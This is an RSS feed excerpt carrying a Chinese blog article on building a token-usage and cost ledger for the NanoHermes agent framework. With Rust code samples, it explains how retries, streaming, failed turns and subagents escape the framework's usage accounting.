<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>尘世栈帧</title>
    <link>https://zhoujungis.github.io/</link>
    <description>尘世栈帧 — 技术、编程、AI 与科学</description>
    <language>zh-CN</language>
    <lastBuildDate>Thu, 22 Oct 2026 08:14:13 GMT</lastBuildDate>
    <atom:link href="https://zhoujungis.github.io/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Agent 观测：给每个轮次记一本账</title>
      <link>https://zhoujungis.github.io/article/agent-observability-turn-ledger/</link>
      <guid isPermaLink="true">https://zhoujungis.github.io/article/agent-observability-turn-ledger/</guid>
      <pubDate>Thu, 22 Oct 2026 08:13:34 GMT</pubDate>
      <description>适用读者：跑过几天 agent、开始关心「这次任务到底花了多少」的人；被「重启之后成本归零」骗过的人；做过多体、发现子代理的花费无处可查的人 结论先行：观测不是往代码里撒日志，而是让每一笔消耗都能落到一行可审计的账上—— 谁发起的、做了什么、花了多少、什么时候 。NanoHermes 有观测的零件（ UsageTota</description>
      <category>AI编程</category>
      <category>Agent</category>
      <category>Agent 工程</category>
      <category>可观测性</category>
      <category>架构设计</category>
      <content:encoded><![CDATA[<blockquote>

适用读者：跑过几天 agent、开始关心「这次任务到底花了多少」的人；被「重启之后成本归零」骗过的人；做过多体、发现子代理的花费无处可查的人
结论先行：观测不是往代码里撒日志，而是让每一笔消耗都能落到一行可审计的账上——<strong>谁发起的、做了什么、花了多少、什么时候</strong>。NanoHermes 有观测的零件（<code>UsageTotals</code>、<code>UiEvent::Usage</code>、任务板的 <code>duration</code>），但没有账本：用量只活在进程内存里、三处内部模型调用完全不进账、子代理的花费在数据结构上就没有位置
阅读时间：约 60 分钟 | 难度：进阶 | 收获：一份完整的观测面清单 + 五类错账的成因 + 一个可落地的三层账本模型 + 七处加固点
</blockquote>

<strong>目录</strong>
<ul>
<li>前言：能打日志，为什么还是答不出「花了多少」</li>
<li>结论先行：一本账要有四个字段，错账有三种</li>
<li>先把 NanoHermes 的观测面列全</li>
<li><code>UsageTotals</code>：三个字段与一个接口</li>
<li><code>Copy</code> 的代价：账本没有共享句柄</li>
<li>用量是从响应里抠出来的</li>
<li>只读两个字段：缓存与思维链在账上是免费的</li>
<li>流式下的用量靠一帧：<code>include_usage</code></li>
<li>流断在中途，那一轮的用量一起丢</li>
<li>记账点写在 <code>?</code> 之后：失败轮次不计入</li>
<li>重试与 fallback：一次成功掩盖 N 次请求</li>
<li>账本上没有「模型」这个维度</li>
<li>三处内部调用完全不进账</li>
<li>压缩的账：摘要是一次完整的模型请求</li>
<li>记忆提炼的账：每轮收尾的一次隐藏调用</li>
<li>子代理的账为什么结构上记不上</li>
<li>任务板只有时间没有钱</li>
<li><code>duration</code> 测的是排队加执行</li>
<li>工具调用在账本上是空的</li>
<li>终端与 GUI 两套消费者，一个语义漂移</li>
<li>daemon 的差分记账：<code>saturating_sub</code></li>
<li>失败轮次的 token 去了哪里</li>
<li>流式 daemon 只有增量，没有总计</li>
<li>会话文件里没有账：重启即清零</li>
<li><code>/status</code> 与 <code>/cost</code>：进程级仪表盘</li>
<li>唯一可导出的账：json 与 stream-json</li>
<li>观测的现状是 <code>eprintln!</code></li>
<li>一次委派在日志里串不起来</li>
<li>钩子是观测点，但钩子自己不被观测</li>
<li>五类错账的失效模式</li>
<li>正确的账本模型：三张表</li>
<li>五个口径必须先定死</li>
<li>一个六十行的 <code>Ledger</code></li>
<li>怎么测账本：三条不变量</li>
<li>七处可以加固的地方</li>
<li>小结：观测的终点是能对账</li>
<li>系列收束：八篇讲了一个什么样的 Agent</li>
<li>参考</li>
</ul>
<h2>前言：能打日志，为什么还是答不出「花了多少」</h2>

一个能跑任务的 agent，通常很快就会有三种日志：工具调用的横幅、错误信息、以及「context compacted」这类状态提示。它们都能证明「发生过什么」，但都不能回答三个最基本的问题：
<ul>
<li>这次任务一共发了多少次模型请求，其中几次是重试</li>
<li>这次任务烧掉的 token 里，有多少是子代理烧的</li>
<li>昨天下午那次跑了四十分钟的任务，成本记在哪个会话上</li>
</ul>

这三个问题都指向同一件事：<strong>日志是事件流，账本是表</strong>。事件流的每一行都只描述「此刻发生了一件事」，它不负责累加、不负责归属、也不负责跨进程存活。要做账，你得先决定表长什么样。

NanoHermes 在这件事上的状态很典型：它有观测的零件，但没有账本。<code>UsageTotals</code> 只有三个字段，<code>UiEvent::Usage</code> 只有一种增量语义，任务板只记时间不记钱，而真正花掉大部分 token 的三处内部调用（压缩、记忆提炼、子代理）连一个字都不记。这不是作者疏忽——每个零件单看都够用，问题出在它们没有被同一个数据模型串起来。

本文先把这些零件一个个拆开，看清每个零件的口径；再指出五类错账分别在哪儿发生；最后给一个三层账本模型（turn / span / totals）和七处加固点。08 是这个系列的最后一篇，所以结尾会把八篇收在一起。
<h2>结论先行：一本账要有四个字段，错账有三种</h2>

判断一个 agent 有没有账本，不看它有没有日志，看它能不能对下面四个字段给出答案：
<div class="table-scroll"><table>
<thead>
<tr>
<th>字段</th>
<th>含义</th>
<th>NanoHermes 的现状</th>
</tr>
</thead>
<tbody>
<tr>
<td>who</td>
<td>谁发起的这次消耗</td>
<td>只有「主代理」一个身份，子代理记不上</td>
</tr>
<tr>
<td>what</td>
<td>做了什么（模型请求、工具、压缩、提炼）</td>
<td>只有模型请求被计数</td>
</tr>
<tr>
<td>how much</td>
<td>token 数、请求数、耗时</td>
<td>token 有，耗时只在子代理与后台任务上有</td>
</tr>
<tr>
<td>when</td>
<td>发生在哪个会话、哪一轮</td>
<td>没有时间戳，也没有 turn id</td>
</tr>
</tbody>
</table></div>

缺字段的后果不是「数据不好看」，而是三类具体的错账：

<strong>漏账</strong>：花了但没记。重试的请求、失败的请求、压缩用的那次摘要调用、记忆提炼的调用、子代理内部的全部调用，都属于这一类。

<strong>串账</strong>：记到了别人头上。daemon 用一个 Agent 服务多个会话，用量是进程级累加，靠 <code>before/after</code> 差分把某一段切给某个会话；一旦这段里有失败轮次，那部分 token 就既不在前一个请求的账上，也不在后一个请求的账上。

<strong>糊涂账</strong>：记了，但口径不清。<code>requests</code> 到底算「HTTP 请求」还是「成功的模型轮次」？<code>prompt_tokens</code> 含不含缓存命中？子代理的 token 算不算进主任务？这些没定死，同一个数字两个人能算出两个结论。

三类错账里，漏账最容易修，糊涂账最难修——因为它不是代码问题，是定义问题。下面从零件开始。
<h2>先把 NanoHermes 的观测面列全</h2>

在没有账本之前，可观测的东西其实不少，只是分散在五种载体里：
<div class="table-scroll"><table>
<thead>
<tr>
<th>观测面</th>
<th>载体</th>
<th>粒度</th>
<th>粒度内的单位</th>
<th>跨进程存活</th>
</tr>
</thead>
<tbody>
<tr>
<td>会话用量</td>
<td><code>Agent::usage</code></td>
<td>进程累计</td>
<td>token / 请求数</td>
<td>否</td>
</tr>
<tr>
<td>单次用量</td>
<td><code>UiEvent::Usage</code></td>
<td>一次模型请求</td>
<td>增量</td>
<td>即时投递</td>
</tr>
<tr>
<td>对话历史</td>
<td><code>messages</code> 数组</td>
<td>一条消息</td>
<td>role + content</td>
<td>是（session 文件）</td>
</tr>
<tr>
<td>子代理任务</td>
<td><code>Board::jobs</code></td>
<td>一次委派</td>
<td>状态 + 耗时 + 结果预览</td>
<td>否</td>
</tr>
<tr>
<td>后台命令</td>
<td><code>TaskManager</code></td>
<td>一个进程</td>
<td>状态 + 启动时刻 + 输出</td>
<td>否</td>
</tr>
<tr>
<td>错误与提示</td>
<td><code>eprintln!</code> / <code>Style::note</code></td>
<td>一行文本</td>
<td>无结构</td>
<td>否</td>
</tr>
</tbody>
</table></div>

这张表里最值得注意的是最后两列的对比：<strong>唯一跨进程存活的是对话历史，而它是一个纯文本结构</strong>。<code>save_session_file</code> 写出去的就是 <code>messages</code> 数组，<code>assistant_message</code> 只塞 <code>role</code>、<code>content</code>、<code>tool_calls</code> 三样东西，没有时间戳、没有用量、没有 turn id。

换句话说，NanoHermes 的「持久化」和「观测」是两条互不相交的路：能活下来的东西不含账，含账的东西活不下来。
<h2><code>UsageTotals</code>：三个字段与一个接口</h2>

整本账的起点是二十行代码：
<div class="codehilite"><pre><span></span><code><span class="sd">/// Cumulative token usage across every model request in the session.</span>
<span class="cp">#[derive(Default, Clone, Copy, Debug)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">UsageTotals</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span><span class="w"> </span><span class="n">UsageTotals</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">total_tokens</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">u64</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="bp">self</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">completion_tokens</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


三个字段，一个派生方法，两种读取方式：
<ul>
<li><code>Agent::usage()</code> 返回一份 <code>UsageTotals</code> 拷贝，供 <code>/cost</code>、<code>--output-format json</code>、daemon 的差分使用</li>
<li><code>Style::usage(1, prompt, completion)</code> 每完成一次请求就投递一次增量，供 GUI 与流式 daemon 使用</li>
</ul>

<code>total_tokens</code> 是加法，看起来无害，但它藏了一个口径问题：当服务端把 <code>prompt_tokens</code> 里的一部分算作缓存命中时，<code>prompt_tokens + completion_tokens</code> 和账单上的 <code>total_tokens</code> 可能不是一回事。这一点后面单说。
<h2><code>Copy</code> 的代价：账本没有共享句柄</h2>

<code>UsageTotals</code> 派生了 <code>Copy</code>。这个选择在单线程记账时很舒服——传参不用引用，读总数不会挡写。但它同时决定了账本的形状：<strong>没有共享句柄，就没有第二个写入方</strong>。

<code>run()</code> 拿的是 <code>&amp;mut self</code>，所以能写 <code>self.usage</code>；而 <code>run_subagent</code> 的签名是：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">run_subagent</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span>
</code></pre></div>


<code>&amp;self</code> 写不了 <code>self.usage</code>。子代理在内部跑了一到四十轮模型请求，这些请求的 token 有去无回。想让子代理记账，<code>UsageTotals</code> 就不能是 <code>Copy</code> 的值，而得变成 <code>Arc&lt;Ledger&gt;</code> 这样一个共享句柄，让每个执行路径都能往里加一行。

这就是 08 和前面几篇的分水岭：01 到 07 的共享状态（待办、任务板、限流门）都是为了<strong>协作</strong>；账本的共享是为了<strong>归属</strong>。前者关心「谁能改」，后者关心「改的时候署谁的名」。
<h2>用量是从响应里抠出来的</h2>

用量不是 agent 自己算的，是从服务端响应里读的。<code>read_json</code> 在解析完 <code>choices</code> 之后补一行：
<div class="codehilite"><pre><span></span><code><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">usage_from_value</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v</span><span class="p">);</span>
</code></pre></div>


而 <code>usage_from_value</code> 的实现只有一个动作——按 key 取值，取不到就当 0：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">usage_from_value</span><span class="p">(</span><span class="n">v</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">Value</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;usage&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">get</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">|</span><span class="n">k</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">u</span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">u</span><span class="o">|</span><span class="w"> </span><span class="n">u</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">k</span><span class="p">))</span>
<span class="w">            </span><span class="p">.</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">x</span><span class="o">|</span><span class="w"> </span><span class="n">x</span><span class="p">.</span><span class="n">as_u64</span><span class="p">())</span>
<span class="w">            </span><span class="p">.</span><span class="n">unwrap_or</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="n">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="nc">get</span><span class="p">(</span><span class="s">&quot;prompt_tokens&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="nc">get</span><span class="p">(</span><span class="s">&quot;completion_tokens&quot;</span><span class="p">),</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


「取不到就当 0」是这一整段里最重要的设计决定。它让字段缺失不会炸掉整轮对话——这对兼容各种 OpenAI 风格的端点来说是必要的。但它也意味着<strong>账本无法区分「真的用了 0 个 token」和「服务端没告诉我们」</strong>。测试里那句断言把这个语义写得很清楚：
<div class="codehilite"><pre><span></span><code><span class="c1">// Missing usage (e.g. a stream delta) counts as zero, not an error.</span>
<span class="fm">assert_eq!</span><span class="p">(</span>
<span class="w">    </span><span class="n">usage_from_value</span><span class="p">(</span><span class="o">&amp;</span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;choices&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w"> </span><span class="p">})),</span>
<span class="w">    </span><span class="n">Usage</span><span class="p">::</span><span class="n">default</span><span class="p">()</span>
<span class="p">);</span>
</code></pre></div>


一个能对账的系统，这里应该是一个三态：<code>Some(0)</code>、<code>Some(n)</code>、<code>None</code>。<code>None</code> 要单独计数，让「本次任务的用量未知」成为一个可见的事实，而不是悄悄变成 0。
<h2>只读两个字段：缓存与思维链在账上是免费的</h2>

<code>Usage</code> 结构只有两个字段：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Usage</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">prompt_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">completion_tokens</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


对比主流服务端的 <code>usage</code> 对象，至少有三类信息被丢掉了：
<div class="table-scroll"><table>
<thead>
<tr>
<th>响应字段</th>
<th>含义</th>
<th>丢掉的后果</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>total_tokens</code></td>
<td>服务端自己的合计</td>
<td>无法校验本地加法与服务端是否一致</td>
</tr>
<tr>
<td><code>prompt_tokens_details.cached_tokens</code></td>
<td>命中前缀缓存的 token</td>
<td>缓存省钱这件事在账上看不出来</td>
</tr>
<tr>
<td><code>completion_tokens_details.reasoning_tokens</code></td>
<td>思维链消耗</td>
<td>开 <code>--thinking</code> 之后成本涨幅无法解释</td>
</tr>
</tbody>
</table></div>

第三条尤其值得注意，因为 NanoHermes 是有 <code>--thinking</code> 的：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">thinking</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">body</span><span class="p">[</span><span class="s">&quot;reasoning_effort&quot;</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&quot;high&quot;</span><span class="p">.</span><span class="n">into</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>


打开思维链之后，<code>completion_tokens</code> 会明显上升，但账本里没有任何字段能说明「这里面有多少是推理」。用户看到的只是一个变大的数字，然后去猜是模型变笨了、上下文变长了，还是推理费变贵了。观测的价值恰恰在于把这种猜测变成可查证的事实。

这里也有个反面的公平话：<code>cached_tokens</code> 属于 <code>prompt_tokens_details</code>，不是所有兼容端点都返回它。读它要写成「有则记、无则标未知」，而不是 <code>unwrap_or(0)</code>——后者会把「不支持」伪装成「没命中缓存」，比不记更误导。
<h2>流式下的用量靠一帧：<code>include_usage</code></h2>

非流式请求的用量在响应体里。流式请求里没有响应体——只有一串 <code>data:</code> 行，正文是增量 delta，用量通常藏在最后单独一帧。所以 <code>chat</code> 会在流式时多要一个参数：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">stream</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// Ask for a trailing usage frame so token counts work while streaming.</span>
<span class="w">    </span><span class="n">body</span><span class="p">[</span><span class="s">&quot;stream_options&quot;</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;include_usage&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">true</span><span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div>


对应的解析在 <code>read_stream</code>：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;usage&quot;</span><span class="p">).</span><span class="n">is_some</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">usage_from_value</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


注意这里是「覆盖」而不是「累加」。这是对的：用量帧只有一帧，覆盖即赋值。但它同时暴露了一个隐含假设——<strong>只可能有一帧</strong>。如果某个端点把用量拆成两帧发（比如增量式上报），后一帧会覆盖前一帧，账就少了一半。要稳妥，应该判断 <code>total_tokens</code> 是否单调，或者干脆把每帧用量都记进一个 span，让求和发生在账本层。
<h2>流断在中途，那一轮的用量一起丢</h2>

<code>read_stream</code> 是整个文件里唯一一处「读失败就整体报错」的地方：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">l</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">l</span><span class="p">,</span>
<span class="w">    </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;stream read error: {e}&quot;</span><span class="p">)),</span>
<span class="p">};</span>
</code></pre></div>


问题在于：<code>turn</code> 是函数内的局部变量，<code>Err</code> 返回时它被一起丢掉。如果流已经读到第 900 个 chunk、服务端已经算完了 3 万 prompt token，然后在最后一帧之前断开，这一轮的用量就凭空消失了——不仅没进账本，连「有个失败请求花了钱」这件事也不会出现在任何地方。

这是一个「错误路径不携带数据」的经典形状：函数的返回类型是 <code>Result&lt;AssistantTurn, String&gt;</code>，<code>Err</code> 只能带一句字符串。要保住这部分数据，返回类型得改成 <code>Result&lt;AssistantTurn, (AssistantTurn, String)&gt;</code> 之类，或者把 <code>turn</code> 通过 <code>&amp;mut</code> 传进来，让调用方在失败时仍能看见已经累积的部分。

顺带说一句同文件里的 <code>truncate</code>：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">truncate</span><span class="p">(</span><span class="n">s</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="o">..</span><span class="p">.</span>
<span class="w">    </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{}… ({} bytes truncated)&quot;</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="o">..</span><span class="n">end</span><span class="p">],</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">end</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


错误详情被截到 800 字节。这个上限对「别把一整页 HTML 塞进终端」是合理的，但对观测来说意味着：<strong>服务端返回的长错误在账上永远只剩开头</strong>。当你要排查一次诡异的 400 时，被截掉的那段往往才是关键。错误应当按「终端显示截断、账本全文留存」两个口径分别处理。
<h2>记账点写在 <code>?</code> 之后：失败轮次不计入</h2>

主循环里的记账只有四行，位置很关键：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">complete</span><span class="p">()</span><span class="o">?</span><span class="p">;</span>
<span class="bp">self</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">requests</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="bp">self</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span><span class="p">;</span>
<span class="bp">self</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span><span class="p">;</span>
</code></pre></div>


<code>?</code> 在记账之前。<code>complete()</code> 返回 <code>Err</code> 时，函数直接向上返回，四行一行都不会执行。这意味着整个账本的口径其实是「<strong>成功的模型请求</strong>」，而不是「发生过的模型请求」。

在单人、网络稳定的场景下这个差别很小。但在真实使用里，失败并不罕见：超时、429、5xx、流中断、JSON 形状不对。这些失败大多数不产生计费（429 通常在服务端就被挡住），所以「不计入」在钱上未必错；但它在<strong>可靠性观测</strong>上是错的——你看不出「这次任务重试了 7 次才成功」，也看不出「这个端点的失败率是 30%」。

一个健康的账本应该把「失败的请求」和「失败的轮次」分开记：请求失败但轮次最终成功，是一次重试；轮次最终失败，是一次丢单。两者都要有行，只是 <code>outcome</code> 字段不同。
<h2>重试与 fallback：一次成功掩盖 N 次请求</h2>

重试逻辑不在 <code>agent.rs</code>，而在 <code>llm::chat</code> 里：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">attempt</span><span class="p">:</span><span class="w"> </span><span class="kt">u32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="k">loop</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">chat_with_model</span><span class="p">(</span><span class="n">cfg</span><span class="p">,</span><span class="w"> </span><span class="n">build_body</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cfg</span><span class="p">.</span><span class="n">model</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">on_text</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nb">Ok</span><span class="p">(</span><span class="n">turn</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">turn</span><span class="p">),</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="n">is_retryable_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="n">attempt</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">cfg</span><span class="p">.</span><span class="n">max_retries</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="n">attempt</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">                </span><span class="kd">let</span><span class="w"> </span><span class="n">delay</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">backoff_ms</span><span class="p">(</span><span class="n">cfg</span><span class="p">.</span><span class="n">retry_base_ms</span><span class="p">,</span><span class="w"> </span><span class="n">attempt</span><span class="p">);</span>
<span class="w">                </span><span class="fm">eprintln!</span><span class="p">(</span>
<span class="w">                    </span><span class="s">&quot;note: request failed ({e}); retrying in {delay}ms (attempt {attempt}/{})&quot;</span><span class="p">,</span>
<span class="w">                    </span><span class="n">cfg</span><span class="p">.</span><span class="n">max_retries</span>
<span class="w">                </span><span class="p">);</span>
<span class="w">                </span><span class="n">std</span><span class="p">::</span><span class="n">thread</span><span class="p">::</span><span class="n">sleep</span><span class="p">(</span><span class="n">Duration</span><span class="p">::</span><span class="n">from_millis</span><span class="p">(</span><span class="n">delay</span><span class="p">));</span>
<span class="w">                </span><span class="k">continue</span><span class="p">;</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">fallback</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">cfg</span><span class="p">.</span><span class="n">fallback_model</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="k">if</span><span class="w"> </span><span class="n">is_retryable_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                    </span><span class="fm">eprintln!</span><span class="p">(</span><span class="s">&quot;note: primary model failed ({e}); retrying with fallback model `{fallback}`&quot;</span><span class="p">);</span>
<span class="w">                    </span><span class="k">return</span><span class="w"> </span><span class="n">chat_with_model</span><span class="p">(</span><span class="n">cfg</span><span class="p">,</span><span class="w"> </span><span class="n">build_body</span><span class="p">(</span><span class="n">fallback</span><span class="p">),</span><span class="w"> </span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">on_text</span><span class="p">);</span>
<span class="w">                </span><span class="p">}</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">);</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<code>chat</code> 返回的是<strong>最后一次成功</strong>的 <code>AssistantTurn</code>，里面只有最后一次请求的用量。前面 <code>max_retries</code> 次失败请求的耗时、以及 fallback 模型这次请求，全都没有出现在返回值里。

于是主循环看到的永远是「1 次请求」，账本永远不知道中间发生过三次 503 和一次降级。重试次数唯一的痕迹是那行 <code>eprintln!</code>——在终端里滚过去就没了，在 daemon 里直接写进服务端日志，客户端一个字都收不到。

更麻烦的是 fallback：<strong>账本上没有模型维度</strong>。一次请求用的是 <code>gpt-4o</code> 还是降级后的 <code>gpt-4o-mini</code>，价格可能差十倍，但 <code>UsageTotals</code> 只有 token 数。要想算钱，账本的行里必须带 <code>model</code> 字段；否则再准的 token 也换不出成本。
<h2>账本上没有「模型」这个维度</h2>

